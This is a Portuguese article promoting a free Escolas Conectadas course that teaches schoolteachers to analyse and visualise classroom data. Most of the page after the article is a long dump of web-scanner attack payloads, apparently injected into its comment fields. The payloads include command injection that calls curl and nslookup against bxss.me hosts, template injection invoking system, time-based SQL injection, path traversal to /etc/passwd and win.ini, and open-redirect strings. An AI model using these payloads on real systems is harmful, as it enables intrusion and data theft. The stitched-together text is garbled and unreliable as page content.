Novo curso da plataforma incentiva o uso de dados educacionais como ferramenta para aprimorar o ensino e a aprendizagem.
Todos os dias, uma sala de aula produz dados. Eles aparecem nas notas de uma avaliação, na frequência escolar, nas atividades entregues, nos resultados de um trabalho ou na participação dos estudantes. Isoladas, essas informações podem parecer apenas números e registros. Quando observadas em conjunto, porém, podem ajudar a revelar histórias sobre como uma turma aprende.
Um resultado abaixo do esperado, por exemplo, pode ser o ponto de partida para a pergunta: o que está por trás desse desempenho? Uma dificuldade aparece entre muitos estudantes ou está concentrada em um grupo específico? Houve evolução depois de uma determinada atividade? Quais habilidades parecem estar consolidadas e quais ainda precisam ser trabalhadas?
É com esse tipo de reflexão que os dados podem ganhar um novo significado para os professores: não como mais uma obrigação burocrática, mas como uma ferramenta para enxergar melhor a evolução da própria turma.
Como explica Bruno Porto, professor e pesquisador do Centro de Referência em Formação e em Educação a Distância (Cefor) do Ifes (Instituto Federal do Espírito Santo), trabalhar com dados na educação é mais simples do que pode parecer: “O professor já produz e utiliza muitos dados, todo o tempo, mesmo sem necessariamente chamar essas informações de dados.”
De números a pistas sobre a aprendizagem
Usar dados na educação não significa necessariamente trabalhar com grandes bancos de informações ou dominar ferramentas complexas. Muitas vezes, começa com registros que já fazem parte da rotina docente.
Ao organizar resultados de avaliações, por exemplo, o professor pode perceber que uma dificuldade que parecia pontual se repete em diferentes atividades. Acompanhando esses resultados ao longo do tempo, é possível identificar avanços que não seriam tão evidentes olhando apenas para uma avaliação isolada.
Nesse sentido, os dados podem funcionar como pistas: eles não explicam sozinhos por que um estudante teve determinado desempenho nem substituem o olhar do professor sobre o contexto, mas podem ajudar a formular perguntas mais precisas, identificar padrões e apoiar decisões sobre os próximos passos do planejamento pedagógico.
“Esses dados nos ajudam justamente a transformar essas percepções em perguntas mais objetivas e permitem que o professor investigue melhor o que está acontecendo antes de tomar a decisão pedagógica”, afirma Bruno.
Quando visualizar ajuda a enxergar
Imagine uma planilha com os resultados de uma turma em diferentes atividades. Há dezenas de linhas e colunas, e cada célula traz uma informação. É possível encontrar respostas ali, mas nem sempre elas aparecem de imediato.
Um olhar mais apurado pode mudar essa relação com os dados. Um gráfico, por exemplo, pode mostrar a evolução de uma turma ao longo de um período. Outro pode ajudar a comparar o desempenho em diferentes habilidades. Um dashboard (painel visual interativo) pode reunir informações e permitir uma visão mais ampla do percurso de aprendizagem.
O objetivo não é transformar todos os dados da escola em gráficos, mas escolher a melhor maneira de representar uma informação para responder a uma determinada pergunta.
Por exemplo: se a questão é “como a turma evoluiu?”, uma visualização temporal pode tornar essa trajetória mais evidente. Se a pergunta for “quais habilidades os alunos apresentam mais dificuldade?”, uma comparação entre resultados pode ajudar a localizar os pontos que merecem atenção.
“Essa visualização funciona como uma ponte entre o dado bruto e a interpretação pedagógica”, resume Bruno. Para ele, gráficos, mapas de calor e linhas de evolução podem facilitar a identificação de padrões e o acompanhamento das trajetórias dos estudantes, sem substituir a análise do professor.
As narrativas nascem das perguntas
Se os dados podem ajudar a enxergar melhor a turma, o storytelling com dados ajuda a organizar tudo aquilo que foi percebido em uma narrativa central e envolvente. Alguns exemplos:
● uma sequência de resultados pode contar a história de uma dificuldade que diminuiu ao longo do tempo;
● uma comparação pode revelar que determinada estratégia teve resultados diferentes para grupos distintos de estudantes;
● um conjunto de indicadores pode mostrar que, por trás de uma média geral, existem trajetórias muito diversas dentro da mesma sala.
Vale reforçar que essas narrativas não estão prontas no gráfico: elas nascem da pergunta que o professor faz aos dados e do contexto que ele conhece sobre seus estudantes.
Por isso, contar histórias com dados não significa simplesmente apresentar resultados de maneira mais bonita, mas sim selecionar informações relevantes, estabelecer relações entre elas e comunicá-las de forma que ajudem outras pessoas – ou o próprio professor – a compreender uma situação.
A ideia também aparece na experiência de Bruno com o tema. “Se a gente tem uma nota baixa, que está ali sozinha, ela representa apenas um resultado. Mas se a gente, antes dessa nota, perceber que o estudante reduziu a frequência, deixou de participar de alguma atividade, começou a acumular pendências, a gente começa a enxergar uma trajetória.”
Na prática, isso pode ser útil para diferentes momentos da vida escolar: planejar uma intervenção, acompanhar o desenvolvimento dos estudantes, compartilhar um diagnóstico com a equipe pedagógica ou conversar com a turma sobre seu próprio percurso de aprendizagem.
Esse olhar exige, porém, interpretação crítica. “Nenhum indicador deve ser considerado uma verdade absoluta”, alerta o pesquisador. Por isso, é importante relacionar diferentes informações, considerar o contexto e evitar decisões baseadas em um único indicador.
Que histórias os dados da sua turma estão contando?
Talvez a pergunta mais interessante não seja quantos dados uma escola ou um professor possui, mas o que é possível enxergar a partir deles.
Que estudantes avançaram? Onde estão as maiores dificuldades? Quais habilidades precisam ser retomadas? Quais mudanças aconteceram ao longo do tempo? Há padrões que merecem ser investigados? Aprender a fazer essas perguntas é um dos caminhos para aproximar a ciência de dados do cotidiano escolar.
Para professores que querem desenvolver esse olhar, a Escolas Conectadas oferece um novo curso gratuito: “Ciência de Dados e Visualização na Educação para Professores”. A formação aborda a coleta, análise e interpretação de dados educacionais, além da criação de gráficos, dashboards e relatórios visuais e do uso de storytelling para transformar resultados em estratégias de ensino.
Com 40 horas de carga horária, totalmente on-line e autoformativo, o curso é voltado a professores de todas as etapas da educação básica.
Não perca essa oportunidade! Porque, quando aprendemos a olhar para os dados de outra maneira, eles podem deixar de ser apenas números e se transformar em pistas para compreender melhor as histórias que acontecem em sua sala de aula.
WQJGT[!+!]
}body{zzz:Expre/**/SSion(V4Wf(9738))}
IpT>V4Wf(9862)IpT>
1FRQG[!+!]
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
<%={{={@{#{${dfb}}%>
bfg7874<s1﹥s2ʺs3ʹhjl7874
9586727
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfmyjkhkbxy5be98.bxss.me")}}
'{"
xfs.bxss.me
comments/.
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
comments
'A'.concat(70-3).concat(22*4).concat(116).concat(74).concat(116).concat(77)+(require'socket'
Socket.gethostbyname('hitbn'+'tsnwizugd9454.bxss.me.')[3].to_s)
'+'A'.concat(70-3).concat(22*4).concat(118).concat(67).concat(103).concat(82)+(require'socket'
Socket.gethostbyname('hitom'+'aneqcbsl970cd.bxss.me.')[3].to_s)+'
"+"A".concat(70-3).concat(22*4).concat(117).concat(89).concat(118).concat(79)+(require"socket"
Socket.gethostbyname("hitrd"+"xgtlsoti1cc3b.bxss.me.")[3].to_s)+"
bxss.me/t/xss.html?%00
HttP://bxss.me/t/xss.html?%00
'.print(md5(31337)).'
${@print(md5(31337))}\
${@print(md5(31337))}
{"information_schema where (select 0) or sleep(30) /*sOFOEoGS*/; -- .user" => {"1" => "1"}}
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
{"inline" => "<%=`nslookup @`%>"}
ctime
sleep
p0
(I30
tp1
Rp2
.
redirtest.acx?
https://bxss.me/
https://bxss.me?https://www.escolasconectadas.org.br/
//bxss.me/?
%2f%2fbxss.me%2f
\\bxss.me
gethostbyname(lc('hitpf'.'zcuzsbkdd779a.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(74).chr(109).chr(70)
/\/bxss.me/
".gethostbyname(lc("hitgf"."vstkgueg34788.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(85).chr(110).chr(75)."
/\bxss.me/
'.gethostbyname(lc('hitmi'.'ujuxhxot365bc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(74).chr(115).chr(77).'
https:\\bxss.me\
http:bxss.me
//bxss.me/www.escolasconectadas.org.br/
//bxss.me/
https://bxss.me?
@bxss.me/
https://bxss.me?www.escolasconectadas.org.br/
https://bxss.me#www.escolasconectadas.org.br/
https://bxss.me\@www.escolasconectadas.org.br/
'"()
https://www.escolasconectadas.org.br:80@bxss.me/
{"$eq" => "\n"}
https://www.escolasconectadas.org.br@bxss.me/
https://www.escolasconectadas.org.br.bxss.me/
{"$testing" => "1"}
https://bxss.me/
https://www.escolasconectadas.org.br/
redirtest.acx
^(#$!@#$)(()))******
!(()&&!|*|*|
)
./
file:///etc/passwd
&n900992=v959294
http://bxss.me/t/fit.txt?.jpg
Http://bxss.me/t/fit.txt
bxss.me
c:/windows/win.ini
/etc/shells
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
${10000023+10000027}
["\n"]
&(nslookup${IFS}-q${IFS}cname${IFS}hitoughodrsrb79270.bxss.me||curl${IFS}hitoughodrsrb79270.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitoughodrsrb79270.bxss.me||curl${IFS}hitoughodrsrb79270.bxss.me)&`'
|(nslookup${IFS}-q${IFS}cname${IFS}hitukvilcrszu1aeb9.bxss.me||curl${IFS}hitukvilcrszu1aeb9.bxss.me)
;(nslookup -q=cname hitnrsvnygtjsb1fbc.bxss.me||curl hitnrsvnygtjsb1fbc.bxss.me)|(nslookup -q=cname hitnrsvnygtjsb1fbc.bxss.me||curl hitnrsvnygtjsb1fbc.bxss.me)&(nslookup -q=cname hitnrsvnygtjsb1fbc.bxss.me||curl hitnrsvnygtjsb1fbc.bxss.me)
`(nslookup -q=cname hitxxfktblhra388e2.bxss.me||curl hitxxfktblhra388e2.bxss.me)`
|(nslookup -q=cname hituzvvicxkep7965d.bxss.me||curl hituzvvicxkep7965d.bxss.me)
&(nslookup -q=cname hitngzzvzticha6d61.bxss.me||curl hitngzzvzticha6d61.bxss.me)&'\"`0&(nslookup -q=cname hitngzzvzticha6d61.bxss.me||curl hitngzzvzticha6d61.bxss.me)&`'
&nslookup -q=cname hitxwopqekcgbe8202.bxss.me&'\"`0&nslookup -q=cname hitxwopqekcgbe8202.bxss.me&`'
NuX1OViy: tdTlW1T5
4lQVtwDk
$(nslookup -q=cname hitqrtwoihpmjf5d0c.bxss.me||curl hitqrtwoihpmjf5d0c.bxss.me)
(nslookup -q=cname hitxvtqqsonzc32e27.bxss.me||curl hitxvtqqsonzc32e27.bxss.me))
expr 9000708868 - 918231
|echo zsontz$()\ ecnsvj\nz^xyu||a #' |echo zsontz$()\ ecnsvj\nz^xyu||a #|" |echo zsontz$()\ ecnsvj\nz^xyu||a #
&echo jomfuz$()\ ljfxww\nz^xyu||a #' &echo jomfuz$()\ ljfxww\nz^xyu||a #|" &echo jomfuz$()\ ljfxww\nz^xyu||a #
(select 198766*667891 from DUAL)
echo eyrvhg$()\ pfxeqq\nz^xyu||a #' &echo eyrvhg$()\ pfxeqq\nz^xyu||a #|" &echo eyrvhg$()\ pfxeqq\nz^xyu||a #
(select 198766*667891)
@@48WZG
'"
''||(select 1 from (select pg_sleep(15))x)||''
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-1)) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
-1) OR 372=(SELECT 372 FROM PG_SLEEP(15))--
-1 OR 537=(SELECT 537 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
*if(now()=sysdate(),sleep(15),0)
"+response.write(9174794*9596966)+"
'+response.write(9174794*9596966)+'
response.write(9174794*9596966)
1KZIKY2R0
555
555
555
555
555ONQOB[!+!]
555}body{zzz:Expre/**/SSion(I9K6(9991))}
555IpT>I9K6(9551)IpT>
555DAH4Z[!+!]
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
<%={{={@{#{${dfb}}%>
bfg4704<s1﹥s2ʺs3ʹhjl4704
5559682724
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitidoxelucltbd5e5.bxss.me")}}
555
555
555
555
555VB1XM[!+!]
555}body{zzz:Expre/**/SSion(58ea(9018))}
555IpT>58ea(9370)IpT>
555LXM26[!+!]
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
<%={{={@{#{${dfb}}%>
bfg3435<s1﹥s2ʺs3ʹhjl3435
5559924645
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hitfivemxpgmi2757e.bxss.me")}}
555
555
555
'{"
555
555
555
555
redirtest.acx?555
555
https://bxss.me/555
xfs.bxss.me
https://bxss.me?https://www.escolasconectadas.org.br/
555
//bxss.me/?555
555
%2f%2fbxss.me%2f
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
\\bxss.me
555
/\/bxss.me/
/\bxss.me/
comments/.
https:\\bxss.me\
http:bxss.me
comments
//bxss.me/www.escolasconectadas.org.br/
555
//bxss.me/
555
https://bxss.me?555
555
@bxss.me/
555
https://bxss.me?www.escolasconectadas.org.br/
555
https://bxss.me#www.escolasconectadas.org.br/
555
https://bxss.me\@www.escolasconectadas.org.br/
'A'.concat(70-3).concat(22*4).concat(112).concat(88).concat(118).concat(89)+(require'socket'
Socket.gethostbyname('hitrf'+'ifsmgbdx006f1.bxss.me.')[3].to_s)
https://www.escolasconectadas.org.br:80@bxss.me/
'+'A'.concat(70-3).concat(22*4).concat(106).concat(89).concat(108).concat(88)+(require'socket'
Socket.gethostbyname('hitwh'+'jbgywjhv10f23.bxss.me.')[3].to_s)+'
https://www.escolasconectadas.org.br@bxss.me/
"+"A".concat(70-3).concat(22*4).concat(111).concat(69).concat(103).concat(65)+(require"socket"
Socket.gethostbyname("hitpe"+"lmzzlsylff3aa.bxss.me.")[3].to_s)+"
https://www.escolasconectadas.org.br.bxss.me/
555
https://bxss.me/
555
https://www.escolasconectadas.org.br/
555
555
555
redirtest.acx
555
555
bxss.me/t/xss.html?%00
555
HttP://bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
{"information_schema where (select 0) or sleep(30) /*4dDGshPN*/; -- .user" => {"1" => "1"}}
555
555
555
{"inline" => "<%=`nslookup @`%>"}
555
555
555
555
555
'.print(md5(31337)).'
555
${@print(md5(31337))}\
555
${@print(md5(31337))}
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
gethostbyname(lc('hitcd'.'alkiguzh877fb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(83).chr(98).chr(82)
555
".gethostbyname(lc("hitvh"."mrqyzwkv02428.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(71).chr(108).chr(87)."
555
'.gethostbyname(lc('hitrf'.'ndcebgev7e3e7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(82).chr(100).chr(83).'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
{"$ne" => "555"}
555
{"$eq" => "555"}
555
555
555
{"$testing" => "1"}
555
555
555
555
555
555
WEB-INF\web.xml
555
WEB-INF/web.xml
555
555
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
..\..\..\..\..\..\..\..\windows\win.ini
..\..\..\..\..\..\..\..\windows\win.ini
555
555
555
555
555
C:\WINDOWS\system32\drivers\etc\hosts
/WEB-INF/web.xml
555
555
file:///etc/passwd
^(#$!@#$)(()))******
!(()&&!|*|*|
)
555
%2fetc%2fpasswd
555
/etc/passwd
555
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
555
555
555
./555
555
file:///etc/passwd
555&n965059=v968408
555
555
555
555
555
555
555
http://bxss.me/t/fit.txt?.jpg
Http://bxss.me/t/fit.txt
555
bxss.me
555
c:/windows/win.ini
555
/etc/shells
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999564+9999525}
555
555
555
555
555
555
555
555
["555"]
555
555
555
555
555
555
555
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitxbnajmxbqz89384.bxss.me||curl${IFS}hitxbnajmxbqz89384.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitxbnajmxbqz89384.bxss.me||curl${IFS}hitxbnajmxbqz89384.bxss.me)&`'
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitxtmwrssteg57ae2.bxss.me||curl${IFS}hitxtmwrssteg57ae2.bxss.me)
;(nslookup -q=cname hitrjiajntghkb573b.bxss.me||curl hitrjiajntghkb573b.bxss.me)|(nslookup -q=cname hitrjiajntghkb573b.bxss.me||curl hitrjiajntghkb573b.bxss.me)&(nslookup -q=cname hitrjiajntghkb573b.bxss.me||curl hitrjiajntghkb573b.bxss.me)
lcrErC37: QUtrWF6H
`(nslookup -q=cname hitdgatwoomqva9b80.bxss.me||curl hitdgatwoomqva9b80.bxss.me)`
NpOEFEQV
|(nslookup -q=cname hitkihrgyumnu6c74a.bxss.me||curl hitkihrgyumnu6c74a.bxss.me)
555
&(nslookup -q=cname hitsycsmnkllw7f7ab.bxss.me||curl hitsycsmnkllw7f7ab.bxss.me)&'\"`0&(nslookup -q=cname hitsycsmnkllw7f7ab.bxss.me||curl hitsycsmnkllw7f7ab.bxss.me)&`'
555
&nslookup -q=cname hitgzzkcnvkxs6efb9.bxss.me&'\"`0&nslookup -q=cname hitgzzkcnvkxs6efb9.bxss.me&`'
555
$(nslookup -q=cname hittwmhilbawu5ed87.bxss.me||curl hittwmhilbawu5ed87.bxss.me)
555
(nslookup -q=cname hitqzqihxqoeefacd9.bxss.me||curl hitqzqihxqoeefacd9.bxss.me))
(select 198766*667891 from DUAL)
expr 9000290732 - 939366
(select 198766*667891)
555|echo gjnhtf$()\ bbgpxb\nz^xyu||a #' |echo gjnhtf$()\ bbgpxb\nz^xyu||a #|" |echo gjnhtf$()\ bbgpxb\nz^xyu||a #
@@iNm9I
|echo bmltdo$()\ xhwtxa\nz^xyu||a #' |echo bmltdo$()\ xhwtxa\nz^xyu||a #|" |echo bmltdo$()\ xhwtxa\nz^xyu||a #
555&echo uzgrdf$()\ jumrpt\nz^xyu||a #' &echo uzgrdf$()\ jumrpt\nz^xyu||a #|" &echo uzgrdf$()\ jumrpt\nz^xyu||a #
555'"
&echo fiadpt$()\ kmxkqs\nz^xyu||a #' &echo fiadpt$()\ kmxkqs\nz^xyu||a #|" &echo fiadpt$()\ kmxkqs\nz^xyu||a #
555
echo xgvdwn$()\ rhzkwd\nz^xyu||a #' &echo xgvdwn$()\ rhzkwd\nz^xyu||a #|" &echo xgvdwn$()\ rhzkwd\nz^xyu||a #
''||(select 1 from (select pg_sleep(15))x)||''
555
555
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555-1)) OR 980=(SELECT 980 FROM PG_SLEEP(15))--
555
555-1) OR 288=(SELECT 288 FROM PG_SLEEP(15))--
555
555-1 OR 369=(SELECT 369 FROM PG_SLEEP(15))--
555
555-1 waitfor delay '0:0:15' --
555
555-1); waitfor delay '0:0:15' --
555
555-1; waitfor delay '0:0:15' --
555
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+response.write(9133877*9002598)+"
'+response.write(9133877*9002598)+'
555
response.write(9133877*9002598)
555
555
555
555
555
555
555
555
1SFMRBNFB0
555
555
555
555
555